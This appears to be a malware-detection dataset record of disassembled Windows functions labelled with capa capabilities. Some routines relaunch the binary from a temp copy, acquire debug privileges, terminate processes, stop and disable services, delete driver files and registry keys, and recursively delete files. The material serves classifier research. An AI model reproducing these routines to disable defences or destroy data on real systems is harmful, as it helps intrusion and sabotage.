joyce8/EMBER2024-capa huggingface dataset:
Function at 0x490f09
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x504e18]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x490f49
cmp byte [ebx], 0xa
jne 0x490f49
or byte [eax + edi + 0x28], 4
jmp 0x490f4e
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x49104c
mov al, byte [edx]
cmp al, 0x1a
je 0x49102e
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x490f7d
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x490fa2
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x490fac
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x490f5f
jmp 0x49104c
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x491029
cmp dword [ebp - 0xc], 0
je 0x491029
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x504e18]
test byte [eax + edi + 0x28], 0x48
je 0x491003
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x490fee
mov byte [esi], dl
jmp 0x490fff
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x504e18]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x49104c
cmp byte [ebp - 1], 0xa
jne 0x491012
cmp esi, ebx
jne 0x491012
mov byte [esi], 0xa
jmp 0x49104b
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00401947
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x49104c
mov byte [esi], 0xd
jmp 0x49104b
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x504e18]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x491048
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x49104c
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4910a8
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x504e18]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4910eb
cmp word [esi], dx
jne 0x4910eb
or byte [edi + eax + 0x28], 4
jmp 0x4910f0
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x491243
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x491223
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x491132
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x491168
cmp eax, edx
jae 0x491174
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x49110a
jmp 0x491243
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x49121f
cmp dword [ebp - 0x14], 0
je 0x49121f
mov eax, dword [ebx*4 + 0x504e18]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x4911f7
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x4911c0
mov word [esi], cx
jmp 0x4911f3
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x504e18]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x504e18]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x504e18]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x491243
pop ebx
cmp word [ebp - 4], bx
jne 0x491208
cmp esi, dword [ebp + 0xc]
jne 0x491208
mov word [esi], bx
jmp 0x491240
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00401947
add esp, 0x10
cmp word [ebp - 4], bx
je 0x491243
push 0xd
jmp 0x49123c
mov ecx, dword [ebx*4 + 0x504e18]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x49123a
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x491243
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x497940
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x501358]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x49798b
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.00497e02
test al, al
jne 0x497985
sub edx, 2
cmp edx, edi
jne 0x49796b
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x4979ad
lea eax, [edi + 2]
cmp edx, eax
je 0x4979ad
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.00497539
add esp, 0x10
jmp 0x497aa7
push esi
lea ecx, [ebp - 0x255]
call fcn.00497e02
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4979f0
push dword [ebp - 0x25c]
jmp 0x49799d
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x497a2d
cmp word [ebp - 0x226], 0
je 0x497a4e
cmp word [ebp - 0x226], ax
jne 0x497a2d
cmp word [ebp - 0x224], 0
je 0x497a4e
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.00497539
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x497a9a
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x497a07
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x497a82
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x497aa7
push 0x496f21
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.004054b1
add esp, 0x10
jmp 0x497a77
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403030
leave
ret
Function at 0x402c00
Capabilities:
Accept command line arguments

Disassembly:
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push str.__r_NewRunExe
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
neg eax
sbb eax, eax
neg eax
ret
Function at 0x402c20
Capabilities:
Accept command line arguments
Copy file
Create process on windows
Delete file
Get common file path
Move file

Disassembly:
sub esp, 0x264
push edi
call fcn.00402c00
test eax, eax
je 0x402c3d
mov eax, 1
pop edi
add esp, 0x264
ret
mov eax, dword [esp + 0x26c]
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x402c63
lea eax, [esp + 0x6c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
jmp 0x402c71
lea ecx, [esp + 0x6c]
push 0x104
push ecx
push 0
call esi
lea edx, [esp + 0x170]
push 0x104
push edx
push 0
call esi
lea eax, [esp + 0x6c]
push 0x5c
push eax
call dword [sym.imp.MSVCRT.dll__mbsrchr]
add esp, 8
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
mov ebx, dword [sym.imp.MSVCRT.dll_rand]
add esp, 4
call ebx
imul eax, eax, 0x12345678
push eax
lea ecx, [esp + 0x14]
push str._08x
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
call ebx
mov edx, dword [str.doskeyvxkyykkmj]
mov ecx, dword [0x410150]
mov dword [esp + 0x20], edx
mov edx, dword [0x410154]
mov dword [esp + 0x24], ecx
mov ecx, dword [0x410158]
mov dword [esp + 0x28], edx
mov dword [esp + 0x2c], ecx
cdq
mov ecx, 7
mov esi, 1
idiv ecx
mov edi, edx
add edi, 2
cmp edi, esi
jle 0x402d4b
mov dl, byte [esp + esi + 0x20]
mov cl, byte [esp + esi + 0x10]
sub dl, 0x30
add cl, dl
mov al, cl
mov byte [esp + esi + 0x10], cl
cmp al, 0x7a
jle 0x402d2e
call ebx
cdq
mov ecx, 0x19
idiv ecx
add dl, 0x61
mov byte [esp + esi + 0x10], dl
cmp byte [esp + esi + 0x10], 0x61
jge 0x402d46
call ebx
cdq
mov ecx, 0x19
idiv ecx
add dl, 0x61
mov byte [esp + esi + 0x10], dl
inc esi
cmp esi, edi
jl 0x402d06
mov edi, 0x410144
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + esi + 0x10], 0
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x10]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
push 1
and ecx, 3
lea edx, [esp + 0x174]
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x14]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x70]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
pop esi
pop ebp
test eax, eax
pop ebx
jne 0x402dc6
mov eax, 1
pop edi
add esp, 0x264
ret
push 4
lea eax, [esp + 0x64]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
mov ecx, 0xe
xor eax, eax
lea edi, [esp + 0x28]
lea edx, [esp + 0x24]
rep stosd dword es:[edi], eax
mov edi, dword [esp + 0x28]
lea ecx, [esp + 0x60]
or edi, 0x40
push edx
mov dword [esp + 0x28], 0x3c
mov dword [esp + 0x38], ecx
mov dword [esp + 0x2c], edi
mov dword [esp + 0x3c], str.__r_NewRunExe
mov dword [esp + 0x44], 5
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
neg eax
sbb eax, eax
pop edi
inc eax
add esp, 0x264
ret
Function at 0x402e90
Capabilities:
Query environment variable
Query or enumerate registry value

Disassembly:
sub esp, 0x10c
lea eax, [esp]
lea ecx, [esp + 8]
push eax
lea edx, [esp + 8]
push ecx
push edx
push str.ProgramFilesDir
push str.SOFTWAREMicrosoftWindowsCurrentVersion
push 0x80000002
mov dword [esp + 0x1c], 1
mov dword [esp + 0x18], 0x104
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
test eax, eax
je 0x402eee
mov eax, dword [esp]
lea ecx, [esp + 8]
push eax
push ecx
push str.ProgramFiles
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x402eee
add esp, 0x10c
ret
mov ecx, dword [esp + 0x114]
push esi
cmp ecx, 0x7fffffff
ja 0x402f37
mov eax, dword [esp + 0x114]
mov esi, ecx
test ecx, ecx
je 0x402f37
lea edx, [esp + 0xc]
sub edx, eax
mov cl, byte [edx + eax]
test cl, cl
je 0x402f2f
mov byte [eax], cl
inc eax
dec esi
jne 0x402f11
dec eax
pop esi
mov byte [eax], 0
mov eax, 1
add esp, 0x10c
ret
test esi, esi
jne 0x402f34
dec eax
mov byte [eax], 0
mov eax, 1
pop esi
add esp, 0x10c
ret

Function at 0x402f90
Capabilities:
Check if file exists
Delete file
Get common file path
Move file
Set file attributes

Disassembly:
sub esp, 0x208
push esi
mov esi, dword [esp + 0x210]
push edi
mov edi, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
push esi
call edi
test eax, eax
jne 0x402fb5
pop edi
pop esi
add esp, 0x208
ret
push 0x80
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push esi
call edi
test eax, eax
je 0x403060
call fcn.00402e40
test eax, eax
je 0x403047
lea eax, [esp + 0x10c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [esp + 8]
lea edx, [esp + 0x10c]
push ecx
push 0
push 0x4101b0
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov edi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea eax, [esp + 8]
push 1
push eax
push esi
call edi
test eax, eax
push 4
push 0
je 0x403036
lea ecx, [esp + 0x10]
push ecx
call edi
pop edi
mov eax, 2
pop esi
add esp, 0x208
ret
push esi
call edi
pop edi
mov eax, 2
pop esi
add esp, 0x208
ret
push esi
call fcn.00403070
add esp, 4
neg eax
sbb eax, eax
pop edi
neg eax
inc eax
pop esi
add esp, 0x208
ret
pop edi
mov eax, 1
pop esi
add esp, 0x208
ret
Function at 0x4031a0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x108
lea eax, [esp + 4]
push 0x103
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x403272
cmp eax, 0x103
ja 0x403272
push esi
push edi
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp byte [esp + ecx + 0xb], 0x5c
je 0x403238
mov ecx, 0x104
lea eax, [esp + 0xc]
cmp byte [eax], 0
je 0x4031f4
inc eax
dec ecx
jne 0x4031e9
jmp 0x403238
test ecx, ecx
je 0x403238
lea edx, [esp + 8]
test edx, edx
je 0x403209
mov eax, 0x104
sub eax, ecx
jmp 0x40320d
mov eax, dword [esp + 8]
mov edx, 0x104
sub edx, eax
lea eax, [esp + eax + 0xc]
je 0x403238
mov esi, 0x4101e4
sub esi, eax
mov cl, byte [esi + eax]
test cl, cl
je 0x403230
mov byte [eax], cl
inc eax
dec edx
jne 0x403221
jmp 0x403234
test edx, edx
jne 0x403235
dec eax
mov byte [eax], 0
mov esi, dword [esp + 0x118]
mov edi, dword [esp + 0x114]
lea eax, [esp + 0xc]
push str.wininit.ini
push eax
push 0x4101d0
push esi
push edi
call fcn.00403280
add esp, 0x14
mov byte [edi + esi - 1], 0
mov eax, 1
pop edi
pop esi
add esp, 0x108
ret
xor eax, eax
add esp, 0x108
ret

Function at 0x4032f0
Capabilities:
Check if file exists
Delete file
Get common file path
Move file

Disassembly:
sub esp, 0x208
push esi
mov esi, dword [esp + 0x210]
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x403311
pop esi
add esp, 0x208
ret
push esi
call fcn.00402f90
add esp, 4
call fcn.00402e40
test eax, eax
je 0x4033ae
mov dl, byte [0x4128cc]
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x10d]
mov byte [esp + 0x10c], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x10c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea edx, [esp + 0x114]
push 0x4101e8
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea eax, [esp + 8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
pop edi
je 0x4033ae
push 4
lea ecx, [esp + 8]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
mov eax, 1
pop esi
add esp, 0x208
ret
Function at 0x4033c0
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
sub esp, 0x554
push ebp
push esi
mov esi, dword [esp + 0x564]
test esi, esi
je 0x4035a6
cmp byte [esi], 0
je 0x4035a6
cmp byte [esi + 1], 0x3a
jne 0x4035a6
mov eax, dword [esp + 0x560]
mov ebp, dword [sym.imp.SHLWAPI.dll_PathCombineA]
push eax
lea ecx, [esp + 0x45c]
push esi
push ecx
mov dword [esp + 0x18], 0x80
call ebp
lea edx, [esp + 0xc]
lea eax, [esp + 0x458]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 8], eax
je 0x4035a6
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
push edi
cmp byte [esp + 0x40], 0x2e
jne 0x403456
mov al, byte [esp + 0x41]
test al, al
je 0x403577
cmp al, 0x2e
jne 0x403456
mov al, byte [esp + 0x42]
test al, al
je 0x403577
test byte [esp + 0x14], 0x10
jne 0x403516
mov dl, byte [0x4128cc]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x259]
mov byte [esp + 0x258], dl
mov byte [esp + 0x154], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x155]
lea edx, [esp + 0x258]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x40]
stosw word es:[edi], ax
push ecx
push esi
push edx
stosb byte es:[edi], al
call ebp
lea eax, [esp + 0x154]
push 0x104
lea ecx, [esp + 0x25c]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
lea edx, [esp + 0x154]
push edx
call ebx
test eax, eax
jne 0x403577
lea eax, [esp + 0x154]
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [esp + 0x154]
push ecx
call ebx
test eax, eax
jne 0x403577
mov eax, dword [esp + 0x574]
test eax, eax
je 0x403577
lea edx, [esp + 0x154]
push edx
call fcn.00402f90
add esp, 4
jmp 0x403577
mov eax, dword [esp + 0x570]
test eax, eax
je 0x403577
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x35c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x40]
lea ecx, [esp + 0x35c]
push eax
push esi
push ecx
call ebp
mov edx, dword [esp + 0x574]
mov eax, dword [esp + 0x570]
push edx
mov edx, dword [esp + 0x56c]
lea ecx, [esp + 0x360]
push eax
push ecx
push edx
call fcn.004033c0
add esp, 0x10
lea eax, [esp + 0x35c]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov edi, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x403433
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop ebx
pop esi
mov eax, 1
pop ebp
add esp, 0x554
ret
pop esi
xor eax, eax
pop ebp
add esp, 0x554
ret

Function at 0x4039e0
Capabilities:
Terminate process

Disassembly:
mov eax, dword [0x4128c4]
push esi
mov esi, dword [esp + 8]
push edi
xor edi, edi
cmp eax, esi
jne 0x4039fb
pop edi
mov eax, 1
pop esi
ret 4
call fcn.00402e40
test eax, eax
push esi
push 0
je 0x403a0b
push 1
jmp 0x403a10
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x403a2e
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
ret 4
Function at 0x403d10
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x14
lea eax, [esp]
push esi
push eax
push 0x28
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x403d71
lea ecx, [esp + 0xc]
mov dword [esp + 8], 1
push ecx
push str.SeDebugPrivilege
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov eax, dword [esp + 4]
push esi
push esi
lea edx, [esp + 0x10]
push 0x10
push edx
push esi
push eax
mov dword [esp + 0x2c], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov ecx, dword [esp + 4]
mov esi, eax
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x14
ret
Function at 0x403e00
Capabilities:
Delete file
Delete registry key
Get common file path
Query or enumerate registry value

Disassembly:
sub esp, 0x314
mov dl, byte [0x4128cc]
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x115]
mov byte [esp + 0x114], dl
mov byte [esp + 0x218], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x219]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [esp + 0x320]
lea ecx, [esp + 0x114]
push eax
push str.SYSTEMCurrentControlSetServices
push str._s_s
push 0x103
push ecx
call fcn.00403280
add esp, 0x14
lea edx, [esp + 0xc]
lea eax, [esp + 0x218]
lea ecx, [esp + 8]
push edx
push eax
push ecx
lea edx, [esp + 0x120]
push str.ImagePath
push edx
push 0x80000002
mov dword [esp + 0x20], 1
mov dword [esp + 0x24], 0x104
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
test eax, eax
jne 0x403fa9
lea eax, [esp + 0x218]
push 0x5c
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, eax
add esp, 8
test esi, esi
je 0x403fa9
mov cl, byte [0x4128cc]
xor eax, eax
mov byte [esp + 0x10], cl
mov ecx, 0x40
lea edi, [esp + 0x11]
lea edx, [esp + 0x10]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x103
push edx
inc esi
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov ecx, 0x104
lea eax, [esp + 0x10]
cmp byte [eax], 0
je 0x403f07
inc eax
dec ecx
jne 0x403efc
jmp 0x403f4b
test ecx, ecx
je 0x403f4b
lea eax, [esp + 8]
test eax, eax
je 0x403f1c
mov eax, 0x104
sub eax, ecx
jmp 0x403f20
mov eax, dword [esp + 8]
mov edx, 0x104
sub edx, eax
lea eax, [esp + eax + 0x10]
je 0x403f4b
mov edi, str.drivers_
sub edi, eax
mov cl, byte [edi + eax]
test cl, cl
je 0x403f43
mov byte [eax], cl
inc eax
dec edx
jne 0x403f34
jmp 0x403f47
test edx, edx
jne 0x403f48
dec eax
mov byte [eax], 0
mov ecx, 0x104
lea eax, [esp + 0x10]
cmp byte [eax], 0
je 0x403f5f
inc eax
dec ecx
jne 0x403f54
jmp 0x403f9e
test ecx, ecx
je 0x403f9e
lea edx, [esp + 8]
test edx, edx
je 0x403f74
mov eax, 0x104
sub eax, ecx
jmp 0x403f78
mov eax, dword [esp + 8]
mov edx, 0x104
sub edx, eax
lea eax, [esp + eax + 0x10]
je 0x403f9e
sub esi, eax
mov cl, byte [esi + eax]
test cl, cl
je 0x403f96
mov byte [eax], cl
inc eax
dec edx
jne 0x403f87
jmp 0x403f9a
test edx, edx
jne 0x403f9b
dec eax
mov byte [eax], 0
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x114]
push ecx
push 0x80000002
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
pop edi
mov eax, 1
pop esi
add esp, 0x314
ret
Function at 0x404000
Capabilities:
Modify service
Stop service

Disassembly:
sub esp, 0x1c
push esi
push 1
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ecx, dword [esp + 0x24]
push 0xf003f
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x40402c
pop esi
add esp, 0x1c
ret
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 4
push 0xffffffffffffffff
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
test eax, eax
jne 0x404050
pop esi
add esp, 0x1c
ret
lea edx, [esp + 4]
push edx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
pop esi
add esp, 0x1c
ret
Function at 0x404520
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x10c
lea eax, [esp]
push esi
mov esi, dword [esp + 0x114]
push eax
push 0x20019
push 0
push str.software_tencentqq
push 0x80000002
mov byte [esi], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40455b
xor eax, eax
pop esi
add esp, 0x10c
ret
test esi, esi
mov dword [esp + 8], 0x104
jne 0x40456b
lea esi, [esp + 0xc]
mov edx, dword [esp + 4]
lea ecx, [esp + 8]
push ecx
push esi
push 0
push 0
push str.install
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov esi, eax
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
test esi, esi
setne al
pop esi
add esp, 0x10c
ret